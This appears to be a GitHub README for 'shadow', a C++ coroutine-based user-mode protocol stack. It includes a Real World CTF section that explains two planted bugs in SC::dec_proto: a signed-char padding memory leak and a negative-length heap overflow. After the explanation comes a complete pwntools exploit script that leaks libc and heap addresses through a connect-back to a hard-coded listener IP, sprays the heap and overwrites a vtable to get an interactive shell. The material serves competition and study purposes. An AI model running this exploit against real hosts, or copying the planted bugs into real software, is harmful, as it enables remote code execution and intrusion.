zh-explorer / shadow

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

shadow

The target of this project is to build a user-mode protocol stack. I use coroutine for the support of asyncio and wapper the detail of network transport. So it's will be easy to extern a protocol.

RWCTF

In the commit tag RWCTF, I set two vulnerabilities for exploit. Both two vulnerabilities are in function SC::dec_proto. The first one is here. The should be a pkcs5 padding for block cipher. But the type of dec_data is signed char * so the auto type will be signed char. So negative padding will cause a memory leak. We can leak heap bash, libc bash and so on from it.

The second one is here. We can control the pack's length and random_len filed and make data_size to -1. This will cause an infinite read. Because of the coroutine, the read will be blocked and run other code when we do not send any data to socket fd. The heap overflow will overwrite some vtable use by another coroutine. Then we can set PC to one gadget get a shell.

By the way, the heap layout is always unstable. So we need some heap spray technology to fill heap with one gadget.

import pwn
import time
import crypto_tools
import socket
import struct
import sys

#pwn.context.proxy = "127.0.0.1"
#pwn.context.log_level = 'debug'
password = 'meiyoumima'

def create_pack(data):
    timestamp = crypto_tools.packed_timestamp()
    noise = crypto_tools.random_byte(8)
    token = crypto_tools.sha256(password + timestamp[::-1] + noise)[:16]
    random_len = 10

    data_len = random_len + len(data) + 80

    data_buf = bytearray()
    data_buf += timestamp[::-1] + noise
    data_buf.append(1)
    data_buf += struct.pack(b'!L', data_len)[::-1]

    data_buf.append(random_len)
    data_buf += crypto_tools.random_byte(10)

    random_data = '\x00'.ljust(random_len,'\x00')
    random_data = bytearray(random_data)

    data_buf += crypto_tools.sha256(token+data_buf+'\x00'*32+data+'\x00'*random_len)
    data_buf += data

    aes = crypto_tools.AES(token)

    data_buf = token + aes.encrypt(bytes(data_buf))
    data_buf += random_data

    return data_buf

def padding(data):
    pad_len = 16 - len(data)%16;
    return data + chr(pad_len)*pad_len

def leak(size):
    global libc_base
    global heap_base
    p = pwn.remote("54.153.22.136", port)
    l = pwn.listen(9999)
    
    ip = socket.inet_aton("40.73.17.40")
    #ip = socket.inet_aton("47.112.138.86")
    rport = pwn.p16(socket.htons(9999))
    
    pack =  '\x01\x01\x01' + ip + rport
    pack = padding(pack)
    
    pay = create_pack(pack)
    p.send(pay)
    
    s = l.wait_for_connection()
    
    p.recv()
    
    pack = 'a'*size+'\x80'*0x10
    pay = create_pack(pack)
    p.send(pay)

    data = l.recv()
    print data.encode('hex')
    if size == 0x100:
        libc_base = pwn.u64(data[288:288+8]) - 0x3ebca0
    if size == 0x10:
        heap_base = pwn.u64(data[72:80]) - 83120 - 0x410
    
    l.close()
    p.close()

def overflow():
    p1 = pwn.remote('54.153.22.136', port)
    p2 = pwn.remote("54.153.22.136", port)

    timestamp = crypto_tools.packed_timestamp()
    noise = crypto_tools.random_byte(8)
    token = crypto_tools.sha256(password + timestamp[::-1] + noise)[:16]
    random_len = 10
    data_buf = bytearray()
    data_buf += timestamp[::-1] + noise
    data_buf.append(1)
    data_buf += struct.pack(b'!L', 89)[::-1]
    data_buf.append(random_len)
    data_buf += crypto_tools.random_byte(10)
    data_buf += "\x00"*32

    aes = crypto_tools.AES(token)

    data_buf = token + aes.encrypt(bytes(data_buf))

    p1.send(data_buf)
    
    p2.send('aaa')

    data = pwn.p64(one_gadget) + 'a'*24 + pwn.p64(magic-0x10) + pwn.cyclic(0x100, n = 8)
    p1.send(data)

    p1.interactive()


port = int(sys.argv[1])
libc_base = 100
heap_base = 100

leak(0x10)
leak(0x100)

print hex(libc_base)
print hex(heap_base)

one_gadget = libc_base+0x4f322
magic = heap_base+0x217d10-0x20
overflow()

About


Languages

Language:C++ 97.3%Language:CMake 2.4%Language:C 0.3%